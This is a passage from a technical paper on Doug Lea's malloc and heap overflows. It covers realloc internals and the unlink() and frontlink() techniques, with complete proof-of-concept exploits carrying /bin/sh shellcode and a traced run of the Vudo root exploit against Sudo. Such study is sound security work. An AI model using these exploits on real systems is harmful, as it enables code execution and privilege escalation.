greater than or equal to the request size, the said three chunks are
coalesced. The previous and next chunks are first taken off their
doubly-linked lists via unlink() (equivalent to clear_last_remainder()
if the processed chunk is the `last_remainder'), the content of the
chunk being reallocated is then copied to the newly coalesced chunk,
and this coalesced chunk is finally treated as it would have been at
step[4].
[5.3] -- "Shifting backwards, joining preceding adjacent space".
If the chunk located immediately before the chunk to be reallocated
is free and if its size plus the size of the chunk being reallocated
is greater than or equal to the request size, the said two chunks
are coalesced (but the step[5.4] is otherwise carried out). The
previous chunk is first taken off its doubly-linked list via unlink()
(equivalent to clear_last_remainder() if the processed chunk is the
`last_remainder'), the content of the chunk being reallocated is then
copied to the newly coalesced chunk, and this coalesced chunk is finally
treated as it would have been at step[4].
[5.4] -- If the chunk to be reallocated could not be extended, the
internal function chunk_alloc() (detailed in 3.5.1) is called in order
to allocate a new chunk of exactly the request size:
[5.4.1] --- If the chunk returned by chunk_alloc() is located
immediately after the chunk being reallocated (this can only happen
when that next chunk was extended during the chunk_alloc() execution
(since it was not big enough before), so this can only happen when
this next chunk is the wilderness chunk, extended during the step[6]
of the malloc(3) algorithm), it is consolidated with the chunk being
reallocated and the resulting coalesced chunk is then treated as it
would have been at step[4].
[5.4.2] --- The chunk being reallocated is otherwise freed via
chunk_free() (detailed in 3.5.2), but its content is first copied to
the newly allocated chunk returned by chunk_alloc(). Finally, the chunk
returned by chunk_alloc() is returned to rEALLOc().
----[ 3.6 - Execution of arbitrary code ]-------------------------------
------[ 3.6.1 - The unlink() technique ]--------------------------------
--------[ 3.6.1.1 - Concept ]-------------------------------------------
If an attacker manages to trick dlmalloc into processing a carefully
crafted fake chunk of memory (or a chunk whose fd and bk fields have
been corrupted) with the unlink() macro, they will be able to overwrite
any integer in memory with the value of their choosing, and will
therefore be able to eventually execute arbitrary code.
#define unlink( P, BK, FD ) { \
[1] BK = P->bk; \
[2] FD = P->fd; \
[3] FD->bk = BK; \
[4] BK->fd = FD; \
}
Indeed, the attacker could store the address of a function pointer,
minus 12 bytes as explained below, in the forward pointer FD of the
fake chunk (read at line[2]), and the address of a shellcode in the
back pointer BK of the fake chunk (read at line[1]). The unlink() macro
would therefore, when trying to take this fake chunk off its imaginary
doubly-linked list, overwrite (at line[3]) the function pointer located
at FD plus 12 bytes (12 is the offset of the bk field within a boundary
tag) with BK (the address of the shellcode).
If the vulnerable program reads the overwritten function pointer (an
entry of the GOT (Global Offset Table) or one of the debugging hooks
compiled in Doug Lea's Malloc (__malloc_hook, __free_hook, etc) for
example) and jumps to the memory location it points to, and if a valid
shellcode is stored there at that time, the shellcode is executed.
But since unlink() would also overwrite (at line[4]) an integer located
in the very middle of the shellcode, at BK plus 8 bytes (8 is the offset
of the fd field within a boundary tag), with FD (a valid pointer but
probably not valid machine code), the first instruction of the shellcode
should jump over the overwritten integer, into a classic shellcode.
This unlink() technique, first introduced by Solar Designer, is
illustrated with a proof of concept in 3.6.1.2, and was successfully
exploited in the wild against certain vulnerable versions of programs
like Netscape browsers, traceroute, and slocate (mentioned in 3.1.2.1).
--------[ 3.6.1.2 - Proof of concept ]----------------------------------
The program below contains a typical buffer overflow since an attacker
can overwrite (at line[3]) the data stored immediately after the end
of the first buffer if the first argument they passed to the program
(argv[1]) is larger than 666 bytes:
$ set -o noclobber && cat > vulnerable.c << EOF
#include <stdlib.h>
#include <string.h>
int main( int argc, char * argv[] )
{
char * first, * second;
/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
/*[3]*/ strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}
EOF
$ make vulnerable
cc vulnerable.c -o vulnerable
$ ./vulnerable `perl -e 'print "B" x 1337'`
Segmentation fault (core dumped)
Since the first buffer was allocated in the heap (at line[1], or more
precisely during the step[4] of the malloc(3) algorithm) and not on the
stack, the attacker cannot use the classic stack smashing techniques and
simply overwrite a saved instruction pointer or a saved frame pointer in
order to exploit the vulnerability and execute arbitrary code:
http://www.phrack.org/show.php?p=49&a=14
http://www.phrack.org/show.php?p=55&a=8
But the attacker could overwrite the boundary tag associated with the
second chunk of memory (allocated in the heap at line[2], during the
step[4] of the malloc(3) algorithm), since this boundary tag is located
immediately after the end of the first chunk. The memory area reserved
for the user within the first chunk even includes the prev_size field of
that boundary tag (as detailed in 3.3.3), and the size of this area is
equal to 668 bytes (indeed, and as calculated in 3.3.1, the size of the
memory area reserved for the user within the first chunk is equal to the
effective size of this chunk, 672 (request2size(666)), minus 4 bytes).
So if the size of the first argument passed to the vulnerable program
by the attacker is greater than or equal to 680 (668 + 3*4) bytes, the
attacker will be able to overwrite the size, fd and bk fields of the
boundary tag associated with the second chunk. They could therefore use
the unlink() technique, but how can dlmalloc be tricked into processing
the corrupted second chunk with unlink() since this chunk is allocated?
When free(3) is called at line[4] in order to free the first chunk, the
step[4.2] of the free(3) algorithm is carried out and the second chunk
is processed by unlink() if it is free (if the PREV_INUSE bit of the
next contiguous chunk is clear). Unfortunately this bit is set because
the second chunk is allocated, but the attacker can trick dlmalloc into
reading a fake PREV_INUSE bit since they control the size field of the
second chunk (used by dlmalloc in order to compute the address of the
next contiguous chunk).
For instance, if the attacker overwrites the size field of the second
chunk with -4 (0xfffffffc), dlmalloc will think the beginning of the
next contiguous chunk is in fact 4 bytes before the beginning of the
second chunk, and will therefore read the prev_size field of the second
chunk instead of the size field of the next contiguous chunk. So if
the attacker stores an even integer (an integer whose PREV_INUSE bit
is clear) in this prev_size field, dlmalloc will process the corrupted
second chunk with unlink() and the attacker will be able to apply the
technique described in 3.6.1.1.
Indeed, the exploit below overwrites the fd field of the second chunk
with a pointer to the GOT entry of the free(3) function (read at line[5]
after the unlink() attack) minus 12 bytes, and overwrites the bk field
of the second chunk with the address of a special shellcode stored 8
(2*4) bytes after the beginning of the first buffer (the first 8 bytes
of this buffer correspond to the fd and bk fields of the associated
boundary tag and are overwritten at line[4], by frontlink() during the
step[4.3] of the free(3) algorithm).
Since the shellcode is executed in the heap, this exploit will work
against systems protected with the Linux kernel patch from the Openwall
Project, but not against systems protected with the Linux kernel patch
from the PaX Team:
http://www.openwall.com/linux/
http://pageexec.virtualave.net/
$ objdump -R vulnerable | grep free
0804951c R_386_JUMP_SLOT free
$ ltrace ./vulnerable 2>&1 | grep 666
malloc(666) = 0x080495e8
$ set -o noclobber && cat > exploit.c << EOF
#include <string.h>
#include <unistd.h>
#define FUNCTION_POINTER ( 0x0804951c )
#define CODE_ADDRESS ( 0x080495e8 + 2*4 )
#define VULNERABLE "./vulnerable"
#define DUMMY 0xdefaced
#define PREV_INUSE 0x1
char shellcode[] =
/* the jump instruction */
"\xeb\x0appssssffff"
/* the Aleph One shellcode */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main( void )
{
char * p;
char argv1[ 680 + 1 ];
char * argv[] = { VULNERABLE, argv1, NULL };
p = argv1;
/* the fd field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 4;
/* the bk field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 4;
/* the special shellcode */
memcpy( p, shellcode, strlen(shellcode) );
p += strlen( shellcode );
/* the padding */
memset( p, 'B', (680 - 4*4) - (2*4 + strlen(shellcode)) );
p += ( 680 - 4*4 ) - ( 2*4 + strlen(shellcode) );
/* the prev_size field of the second chunk */
*( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
p += 4;
/* the size field of the second chunk */
*( (size_t *)p ) = (size_t)( -4 );
p += 4;
/* the fd field of the second chunk */
*( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
p += 4;
/* the bk field of the second chunk */
*( (void **)p ) = (void *)( CODE_ADDRESS );
p += 4;
/* the terminating NUL character */
*p = '\0';
/* the execution of the vulnerable program */
execve( argv[0], argv, NULL );
return( -1 );
}
EOF
$ make exploit
cc exploit.c -o exploit
$ ./exploit
bash$
------[ 3.6.2 - The frontlink() technique ]-----------------------------
--------[ 3.6.2.1 - Concept ]-------------------------------------------
Alternatively an attacker can exploit the frontlink() macro in order
to abuse programs which mistakenly manage the heap. The frontlink()
technique is less flexible and more difficult to implement than the
unlink() technique, however it may be an interesting option since its
preconditions are different. Although no exploit is known to apply this
frontlink() technique in the wild, a proof of concept is presented in
3.6.2.2, and it was one of the possible techniques against the Sudo
vulnerability.
#define frontlink( A, P, S, IDX, BK, FD ) { \
if ( S < MAX_SMALLBIN_SIZE ) { \
IDX = smallbin_index( S ); \
mark_binblock( A, IDX ); \
BK = bin_at( A, IDX ); \
FD = BK->fd; \
P->bk = BK; \
P->fd = FD; \
FD->bk = BK->fd = P; \
[1] } else { \
IDX = bin_index( S ); \
BK = bin_at( A, IDX ); \
FD = BK->fd; \
if ( FD == BK ) { \
mark_binblock(A, IDX); \
} else { \
[2] while ( FD != BK && S < chunksize(FD) ) { \
[3] FD = FD->fd; \
} \
[4] BK = FD->bk; \
} \
P->bk = BK; \
P->fd = FD; \
[5] FD->bk = BK->fd = P; \
} \
}
If the free chunk P processed by frontlink() is not a small chunk,
the code at line[1] is executed, and the proper doubly-linked list of
free chunks is traversed (at line[2]) until the place where P should
be inserted is found. If the attacker managed to overwrite the forward
pointer of one of the traversed chunks (read at line[3]) with the
address of a carefully crafted fake chunk, they could trick frontlink()
into leaving the loop[2] while FD points to this fake chunk. Next the
back pointer BK of that fake chunk would be read (at line[4]) and the
integer located at BK plus 8 bytes (8 is the offset of the fd field
within a boundary tag) would be overwritten with the address of the
chunk P (at line[5]).
The attacker could store the address of a function pointer (minus 8
bytes of course) in the bk field of the fake chunk, and therefore trick
frontlink() into overwriting (at line[5]) this function pointer with the
address of the chunk P (but unfortunately not with the address of their
choosing). Moreover, the attacker should store valid machine code at
that address since their final purpose is to execute arbitrary code the
next time the function pointed to by the overwritten integer is called.
But the address of the free chunk P corresponds to the beginning of the
associated boundary tag, and therefore to the location of its prev_size
field. So is it really possible to store machine code in prev_size?
- If the heap layout around prev_size evolved between the moment the
frontlink() attack took place and the moment the function pointed to by
the overwritten integer is called, the 4 bytes that were corresponding
to the prev_size field could henceforth correspond to the very middle
of an allocated chunk controlled by the attacker, and could therefore
correspond to the beginning of a classic shellcode.
- But if the heap layout did not evolve, the attacker may still store
valid machine code in the prev_size field of the chunk P. Indeed,
this prev_size field is not used by dlmalloc and could therefore hold
user data (as mentioned in 3.3.3), since the chunk of memory located
immediately before the chunk P is allocated (it would otherwise have
been consolidated with the free chunk P before the evil frontlink()
call).
-- If the content and size of this previous chunk are controlled by
the attacker, they also control the content of the trailing prev_size
field (the prev_size field of the chunk P). Indeed, if the size argument
passed to malloc(3) or realloc(3) is a multiple of 8 bytes minus 4 bytes
(as detailed in 3.3.1), the trailing prev_size field will probably hold
user data, and the attacker can therefore store a jump instruction
there. This jump instruction could, once executed, simply branch to
a classic shellcode located just before the prev_size field. This
technique is used in 3.6.2.2.
-- But even if the content or size of the chunk located before the chunk
P is not controlled by the attacker, they might be able to store valid
machine code in the prev_size field of P. Indeed, if they managed to
store machine code in the 4 bytes corresponding to this prev_size field
before the heap layout around prev_size was fixed (the attacker could
for example allocate a buffer that would cover the prev_size field-to-be
and store machine code there), and if the content of that prev_size
field was not destroyed (for example, a call to malloc(3) with a size
argument of 16 reserves 20 bytes for the caller, and the last 4 bytes
(the trailing prev_size field) are therefore never overwritten by the
caller) at the time the function pointed to by the integer overwritten
during the frontlink() attack is called, the machine code would be
executed and could simply branch to a classic shellcode.
--------[ 3.6.2.2 - Proof of concept ]----------------------------------
The program below is vulnerable to a buffer overflow: although the
attacker cannot overflow (at line[7]) the first buffer allocated
dynamically in the heap (at line[1]) with the content of argv[2] (since
the size of this first buffer is exactly the size of argv[2]), however
they can overflow (at line[9]) the fourth buffer allocated dynamically
in the heap (at line[4]) with the content of argv[1]. The size of the
memory area reserved for the user within the fourth chunk is equal to
668 (request2size(666) - 4) bytes (as calculated in 3.6.1.2), so if the
size of argv[1] is greater than or equal to 676 (668 + 2*4) bytes, the
attacker can overwrite the size and fd fields of the next contiguous
boundary tag.
$ set -o noclobber && cat > vulnerable.c << EOF
#include <stdlib.h>
#include <string.h>
int main( int argc, char * argv[] )
{
char * first, * second, * third, * fourth, * fifth, * sixth;
/*[1]*/ first = malloc( strlen(argv[2]) + 1 );
/*[2]*/ second = malloc( 1500 );
/*[3]*/ third = malloc( 12 );
/*[4]*/ fourth = malloc( 666 );
/*[5]*/ fifth = malloc( 1508 );
/*[6]*/ sixth = malloc( 12 );
/*[7]*/ strcpy( first, argv[2] );
/*[8]*/ free( fifth );
/*[9]*/ strcpy( fourth, argv[1] );
/*[0]*/ free( second );
return( 0 );
}
EOF
$ make vulnerable
cc vulnerable.c -o vulnerable
$ ./vulnerable `perl -e 'print "B" x 1337'` dummy
Segmentation fault (core dumped)
The six buffers used by this program are allocated dynamically (at
line[1], line[2], line[3], line[4], line[5] and line[6]) during the
step[4] of the malloc(3) algorithm, and the second buffer is therefore
located immediately after the first one, the third one after the second
one, and so on. The attacker can therefore overwrite (at line[9]) the
boundary tag associated with the fifth chunk (allocated at line[5] and
freed at line[8]) since this chunk is located immediately after the
overflowed fourth buffer.
Unfortunately the only call to one of the dlmalloc routines after the
overflow at line[9] is the call to free(3) at line[0]. In order to free
the second buffer, the step[4] of the free(3) algorithm is carried out,
but the unlink() macro is neither called at step[4.1], nor at step[4.2],
since the chunks of memory that border the second chunk (the first and
third chunks) are allocated (and the corrupted boundary tag of the fifth
chunk is not even read during the step[4.1] or step[4.2] of the free(3)
algorithm). Therefore the attacker cannot exploit the unlink() technique
during the free(3) call at line[0], but should exploit the frontlink()
(called at step[4.3] of the free(3) algorithm) technique instead.
Indeed, the fd field of the corrupted boundary tag associated with the
fifth chunk is read (at line[3] in the frontlink() macro) during this
call to frontlink(), since the second chunk should be inserted in the
doubly-linked list of the bin number 79 (as detailed in 3.4.1, because
the effective size of this chunk is equal to 1504 (request2size(1500))),
since the fifth chunk was inserted in this very same doubly-linked list
at line[8] (as detailed in 3.4.1, because the effective size of this
chunk is equal to 1512 (request2size(1508))), and since the second chunk
should be inserted after the fifth chunk in that list (1504 is indeed
less than 1512, and the chunks in each list are maintained in decreasing
sorted order by size, as mentioned in 3.4.2).
The exploit below overflows the fourth buffer and overwrites the fd
field of the fifth chunk with the address of a fake chunk stored in the
environment variables passed to the vulnerable program. The size field
of this fake chunk is set to 0 in order to trick free(3) into leaving
the loop[2] of the frontlink() macro while FD points to that fake chunk,
and in the bk field of the fake chunk is stored the address (minus 8
bytes) of the first function pointer emplacement in the .dtors section:
http://www.synnergy.net/downloads/papers/dtors.txt
This function pointer, overwritten by frontlink() with the address of
the second chunk, is read and executed at the end of the vulnerable
program. Since the attacker can control (via argv[2]) the content and
size of the chunk located immediately before the second chunk (the first
chunk), they can use one of the methods described in 3.6.2.1 in order to
store valid machine code in the prev_size field of the second chunk.
In the exploit below, the size of the second argument passed to the
vulnerable program (argv[2]) is a multiple of 8 bytes minus 4 bytes,
and is greater than or equal to the size of the special shellcode used
by the exploit. The last 4 bytes of this special shellcode (including
the terminating NUL character) are therefore stored in the last 4
bytes of the first buffer (the prev_size field of the second chunk)
and correspond to a jump instruction that simply executes a classic
shellcode stored right before.
Since the size of argv[2] should be equal to a multiple of 8 bytes minus
4 bytes, and since this size should also be greater than or equal to
the size of the special shellcode, the size of argv[2] is simply equal
to ((((sizeof(shellcode) + 4) + 7) & ~7) - 4), which is equivalent to
(request2size(sizeof(shellcode)) - 4). The size of the special shellcode
in the exploit below is equal to 49 bytes, and the size of argv[2] is
therefore equal to 52 (request2size(49) - 4) bytes.
$ objdump -j .dtors -s vulnerable | grep ffffffff
80495a8 ffffffff 00000000 ........
$ set -o noclobber && cat > exploit.c << EOF
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define FUNCTION_POINTER ( 0x80495a8 + 4 )
#define VULNERABLE "./vulnerable"
#define FAKE_CHUNK ( (0xc0000000 - 4) - sizeof(VULNERABLE) - (16 + 1) )
#define DUMMY 0xeffaced
char shellcode[] =
/* the Aleph One shellcode */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"
/* the jump instruction */
"\xeb\xd1p";
int main( void )
{
char * p;
char argv1[ 676 + 1 ];
char argv2[ 52 ];
char fake_chunk[ 16 + 1 ];
size_t size;
char ** envp;
char * argv[] = { VULNERABLE, argv1, argv2, NULL };
p = argv1;
/* the padding */
memset( p, 'B', 676 - 4 );
p += 676 - 4;
/* the fd field of the fifth chunk */
*( (void **)p ) = (void *)( FAKE_CHUNK );
p += 4;
/* the terminating NUL character */
*p = '\0';
p = argv2;
/* the padding */
memset( p, 'B', 52 - sizeof(shellcode) );
p += 52 - sizeof(shellcode);
/* the special shellcode */
memcpy( p, shellcode, sizeof(shellcode) );
p = fake_chunk;
/* the prev_size field of the fake chunk */
*( (size_t *)p ) = (size_t)( DUMMY );
p += 4;
/* the size field of the fake chunk */
*( (size_t *)p ) = (size_t)( 0 );
p += 4;
/* the fd field of the fake chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 4;
/* the bk field of the fake chunk */
*( (void **)p ) = (void *)( FUNCTION_POINTER - 8 );
p += 4;
/* the terminating NUL character */
*p = '\0';
/* the size of the envp array */
size = 0;
for ( p = fake_chunk; p < fake_chunk + (16 + 1); p++ ) {
if ( *p == '\0' ) {
size++;
}
}
size++;
/* the allocation of the envp array */
envp = malloc( size * sizeof(char *) );
/* the content of the envp array */
size = 0;
for ( p = fake_chunk; p < fake_chunk + (16+1); p += strlen(p)+1 ) {
envp[ size++ ] = p;
}
envp[ size ] = NULL;
/* the execution of the vulnerable program */
execve( argv[0], argv, envp );
return( -1 );
}
EOF
$ make exploit
cc exploit.c -o exploit
$ ./exploit
bash$
--[ 4 - Exploiting the Sudo vulnerability ]-----------------------------
----[ 4.1 - The theory ]------------------------------------------------
In order to exploit the Sudo vulnerability, and as mentioned in 2.4, an
attacker should overwrite a byte of the boundary tag located immediately
after the end of the msg buffer, and should take advantage of this
erroneously overwritten byte before it is restored.
Indeed, the exploit provided in 4.2 tricks do_syslog() into overwriting
(at line[5] in do_syslog()) a byte of the bk pointer associated with
this next contiguous boundary tag, tricks malloc(3) into following (at
step[3] in malloc(3)) this corrupted back pointer to a fake chunk of
memory, and tricks malloc(3) into taking (at step[3.2] in malloc(3))
this fake chunk off its imaginary doubly linked-list. The attacker can
therefore apply the unlink() technique presented in 3.6.1 and eventually
execute arbitrary code as root.
How these successive tricks are actually accomplished is presented below
via a complete, successful, and commented run of the Vudo exploit (the
dlmalloc calls traced below were performed by Sudo, and were obtained
via a special shared library stored in /etc/ld.so.preload):
$ ./vudo 0x002531dc 62595 6866
malloc( 9 ): 0x0805e480;
malloc( 7 ): 0x0805e490;
malloc( 6 ): 0x0805e4a0;
malloc( 5 ): 0x0805e4b0;
malloc( 36 ): 0x0805e4c0;
malloc( 18 ): 0x0805e4e8;
malloc( 14 ): 0x0805e500;
malloc( 10 ): 0x0805e518;
malloc( 5 ): 0x0805e528;
malloc( 19 ): 0x0805e538;
malloc( 3 ): 0x0805e550;
malloc( 62596 ): 0x0805e560;
This 62596 bytes buffer was allocated by the tzset(3) function (called
by Sudo at the beginning of the init_vars() function) and is a simple
copy of the TZ environment variable, whose size was provided by the
attacker via the second argument passed to the Vudo exploit (62596 is
indeed equal to 62595 plus 1, the size of a terminating NUL character).
The usefulness of such a huge dynamically allocated buffer is detailed
later on, but proved to be essential to the Vudo exploit. For example,
this exploit will never work against the Debian operating system since
the tzset(3) function used by Debian does not read the value of the TZ
environment variable when a SUID or SGID program is run.
malloc( 176 ): 0x0806d9e8;
free( 0x0806d9e8 );
malloc( 17 ): 0x0806d9e8;
malloc( 6 ): 0x0806da00;
malloc( 4096 ): 0x0806da10;
malloc( 6 ): 0x0806ea18;
malloc( 1024 ): 0x0806ea28;
malloc( 176 ): 0x0806ee30;
malloc( 8 ): 0x0806eee8;
malloc( 120 ): 0x0806eef8;
malloc( 15 ): 0x0806ef78;
malloc( 38 ): 0x0806ef90;
malloc( 40 ): 0x0806efc0;
malloc( 36 ): 0x0806eff0;
malloc( 15 ): 0x0806f018;
malloc( 38 ): 0x0806f030;
malloc( 40 ): 0x0806f060;
malloc( 36 ): 0x0806f090;
malloc( 14 ): 0x0806f0b8;
malloc( 38 ): 0x0806f0d0;
malloc( 40 ): 0x0806f100;
malloc( 36 ): 0x0806f130;
malloc( 14 ): 0x0806f158;
malloc( 38 ): 0x0806f170;
malloc( 40 ): 0x0806f1a0;
malloc( 36 ): 0x0806f1d0;
malloc( 36 ): 0x0806f1f8;
malloc( 19 ): 0x0806f220;
malloc( 40 ): 0x0806f238;
malloc( 38 ): 0x0806f268;
malloc( 15 ): 0x0806f298;
malloc( 38 ): 0x0806f2b0;
malloc( 17 ): 0x0806f2e0;
malloc( 38 ): 0x0806f2f8;
malloc( 17 ): 0x0806f328;
malloc( 38 ): 0x0806f340;
malloc( 18 ): 0x0806f370;
malloc( 38 ): 0x0806f388;
malloc( 12 ): 0x0806f3b8;
malloc( 38 ): 0x0806f3c8;
malloc( 17 ): 0x0806f3f8;
malloc( 38 ): 0x0806f410;
malloc( 17 ): 0x0806f440;
malloc( 40 ): 0x0806f458;
malloc( 18 ): 0x0806f488;
malloc( 40 ): 0x0806f4a0;
malloc( 18 ): 0x0806f4d0;
malloc( 38 ): 0x0806f4e8;
malloc( 40 ): 0x0806f518;
malloc( 16 ): 0x0806f548;
malloc( 38 ): 0x0806f560;
malloc( 40 ): 0x0806f590;
free( 0x0806eef8 );
free( 0x0806ee30 );
malloc( 16 ): 0x0806eef8;
malloc( 8 ): 0x0806ef10;
malloc( 12 ): 0x0806ef20;
malloc( 23 ): 0x0806ef30;
calloc( 556, 1 ): 0x0806f5c0;
malloc( 26 ): 0x0806ef50;
malloc( 23 ): 0x0806ee30;
malloc( 12 ): 0x0806ee50;
calloc( 7, 16 ): 0x0806ee60;
malloc( 176 ): 0x0806f7f0;
free( 0x0806f7f0 );
malloc( 28 ): 0x0806f7f0;
malloc( 5 ): 0x0806eed8;
malloc( 11 ): 0x0806f810;
malloc( 4095 ): 0x0806f820;
This 4095 bytes buffer was allocated by the sudo_getpwuid() function,
and is a simple copy of the SHELL environment variable provided by the
Vudo exploit. Since Sudo was called with the -s option (the usefulness
of this option is detailed subsequently), the size of the SHELL
environment variable (including the trailing NUL character) cannot
exceed 4095 bytes because of a check performed at the beginning of the
find_path() function called by Sudo.
The SHELL environment variable constructed by the exploit is exclusively
composed of pointers indicating a single location on the stack, whose
address does not contain any NUL byte (0xbfffff1e in this case). The
reasons behind the choice of this particular address are exposed below.
malloc( 1024 ): 0x08070828;
malloc( 16 ): 0x08070c30;
malloc( 8 ): 0x08070c48;
malloc( 176 ): 0x08070c58;
free( 0x08070c58 );
malloc( 35 ): 0x08070c58;
The next series of dlmalloc calls is performed by the load_interfaces()
function, and is one of the keys to a successful exploitation of the
Sudo vulnerability:
malloc( 8200 ): 0x08070c80;
malloc( 16 ): 0x08072c90;
realloc( 0x08072c90, 8 ): 0x08072c90;
free( 0x08070c80 );
The 8200 bytes buffer and the 16 bytes buffer were allocated during
the step[4] in malloc(3), and the latter (even once reallocated) was
therefore stored immediately after the former. Moreover, a hole was
created in the heap since the 8200 bytes buffer was freed during the
step[4.3] of the free(3) algorithm.
malloc( 2004 ): 0x08070c80;
malloc( 176 ): 0x08071458;
malloc( 4339 ): 0x08071510;
The 2004 bytes buffer was allocated by the init_vars() function (because
Sudo was called with the -s option) in order to hold pointers to the
command and arguments to be executed by Sudo (provided by the Vudo
exploit). This buffer was stored at the beginning of the previously
freed 8200 bytes buffer, during the step[3.1] in malloc(3).
The 176 and 4339 bytes buffers were allocated during the step[2.1] in
malloc(3), and stored immediately after the end of the 2004 bytes buffer
allocated above (the 4339 bytes buffer was created in order to hold the
command and arguments to be executed by Sudo (provided by the exploit)).
The next series of dlmalloc calls is performed by the setenv(3) function
in order to create the SUDO_COMMAND environment variable:
realloc( 0x00000000, 27468 ): 0x08072ca8;
malloc( 4352 ): 0x080797f8;
malloc( 16 ): 0x08072608;
The 27468 bytes buffer was allocated by setenv(3) in order to hold
pointers to the environment variables passed to Sudo by the exploit
(the number of environment variables passed to Sudo was provided by the
attacker (the third argument passed to the Vudo exploit)). Because of
the considerable size of this buffer, it was allocated at step[4] in
malloc(3), after the end of the 8 bytes buffer located immediately after
the remainder of the 8200 bytes hole.
The 4352 bytes buffer, the SUDO_COMMAND environment variable (whose size
is equal to the size of the previously allocated 4339 bytes buffer,
plus the size of the SUDO_COMMAND= prefix), was allocated at step[4] in
malloc(3), and was therefore stored immediately after the end of the
27468 bytes buffer allocated above.
The 16 bytes buffer was allocated at step[3.1] in malloc(3), and is
therefore located immediately after the end of the 4339 bytes buffer, in
the remainder of the 8200 bytes hole.
free( 0x08071510 );
The 4339 bytes buffer was freed, at step[4.3] in free(3), and therefore
created a hole in the heap (the allocated buffer stored before this
hole is the 176 bytes buffer whose address is 0x08071458, the allocated
buffer stored after this hole is the 16 bytes buffer whose address is
0x08072608).
The next series of dlmalloc calls is performed by the setenv(3) function
in order to create the SUDO_USER environment variable:
realloc( 0x08072ca8, 27472 ): 0x0807a900;
malloc( 15 ): 0x08072620;
malloc( 16 ): 0x08072638;
The previously allocated 27468 bytes buffer was reallocated for
additional space, but since it could not be extended (a too small free
chunk was stored before (the remainder of the 8200 bytes hole) and an
allocated chunk was stored after (the 4352 bytes buffer)), it was freed
at step[5.4.2] in realloc(3) (a new hole was therefore created in the
heap) and another chunk was allocated at step[5.4] in realloc(3).
The 15 bytes buffer was allocated, during the step[3.1] in malloc(3),
after the end of the 16 bytes buffer allocated above (whose address is
equal to 0x08072608).
The 16 bytes buffer was allocated, during the step[2.1] in malloc(3),
after the end of the 15 bytes buffer allocated above (whose address is
0x08072620).
The next series of dlmalloc calls is performed by the setenv(3) function
in order to create the SUDO_UID and SUDO_GID environment variables:
realloc( 0x0807a900, 27476 ): 0x0807a900;
malloc( 13 ): 0x08072650;
malloc( 16 ): 0x08072668;
realloc( 0x0807a900, 27480 ): 0x0807a900;
malloc( 13 ): 0x08072680;
malloc( 16 ): 0x08072698;
The 13, 16, 13 and 16 bytes buffers were allocated after the end of
the 16 bytes buffer allocated above (whose address is 0x08072638), in
the remainder of the 8200 bytes hole. The address of the resulting
`last_remainder' chunk, the free chunk stored after the end of the
0x08072698 buffer and before the 0x08072c90 buffer, is equal to
0x080726a8 (mem2chunk(0x08072698) + request2size(16)), and its effective
size is equal to 1504 (mem2chunk(0x08072c90) - 0x080726a8) bytes.
The next series of dlmalloc calls is performed by the setenv(3) function
in order to create the PS1 environment variable:
realloc( 0x0807a900, 27484 ): 0x0807a900;
malloc( 1756 ): 0x08071510;
malloc( 16 ): 0x08071bf0;
The 1756 bytes buffer was allocated (during the step[3.1] in malloc(3))
in order to hold the PS1 environment variable (whose size was computed
by the Vudo exploit), and was stored at the beginning of the 4339 bytes
hole created above.
The remainder of this hole therefore became the new `last_remainder'
chunk, and the old `last_remainder' chunk, whose effective size is equal
to 1504 bytes, was therefore placed in its doubly-linked list (the list
associated with the bin number 79) during the step[2.2.2] in malloc(3).
The 16 bytes buffer was allocated during the step[2.1] in malloc(3), in
the remainder of the 4339 bytes hole.
malloc( 640 ): 0x08071c08;
malloc( 400 ): 0x08071e90;
The 640 and 400 bytes buffers were also allocated, during the step[2.1]
in malloc(3), in the remainder of the 4339 bytes hole.
malloc( 1600 ): 0x08072ca8;
This 1600 bytes buffer, allocated at step[3.1] in malloc(3), was stored
at the beginning of the 27468 bytes hole created above. The remainder of
this huge hole therefore became the new `last_remainder' chunk, and the
old `last_remainder' chunk, the remainder of the 4339 bytes hole, was
placed in its bin at step[2.2.2] in malloc(3).
Since the effective size of this old `last_remainder' chunk is equal
to 1504 (request2size(4339) - request2size(1756) - request2size(16)
- request2size(640) - request2size(400)) bytes, it was placed in the
bin number 79 by frontlink(), in front of the 1504 bytes chunk already
inserted in this bin as described above.
The address of that old `last_remainder' chunk, 0x08072020
(mem2chunk(0x08071e90) + request2size(400)), contains two SPACE
characters, needed by the Vudo exploit in order to successfully exploit
the Sudo vulnerability, as detailed below. This very special address was
obtained thanks to the huge TZ environment variable mentioned above.
malloc( 40 ): 0x080732f0;
malloc( 16386 ): 0x08073320;
malloc( 13 ): 0x08077328;
free( 0x08077328 );
malloc( 5 ): 0x08077328;
free( 0x08077328 );
malloc( 6 ): 0x08077328;
free( 0x08071458 );
malloc( 100 ): 0x08077338;
realloc( 0x08077338, 19 ): 0x08077338;
malloc( 100 ): 0x08077350;
realloc( 0x08077350, 21 ): 0x08077350;
free( 0x08077338 );
free( 0x08077350 );
All these buffers were allocated, during the step[2.1] in malloc(3), in
the remainder of the 27468 bytes hole created above.
The next series of dlmalloc calls is performed by easprintf(), a wrapper
to vasprintf(3), in order to allocate space for the msg buffer:
malloc( 100 ): 0x08077338;
malloc( 300 ): 0x080773a0;
free( 0x08077338 );
malloc( 700 ): 0x080774d0;
free( 0x080773a0 );
malloc( 1500 ): 0x080726b0;
free( 0x080774d0 );
malloc( 3100 ): 0x08077338;
free( 0x080726b0 );
malloc( 6300 ): 0x08077f58;
free( 0x08077338 );
realloc( 0x08077f58, 4795 ): 0x08077f58;
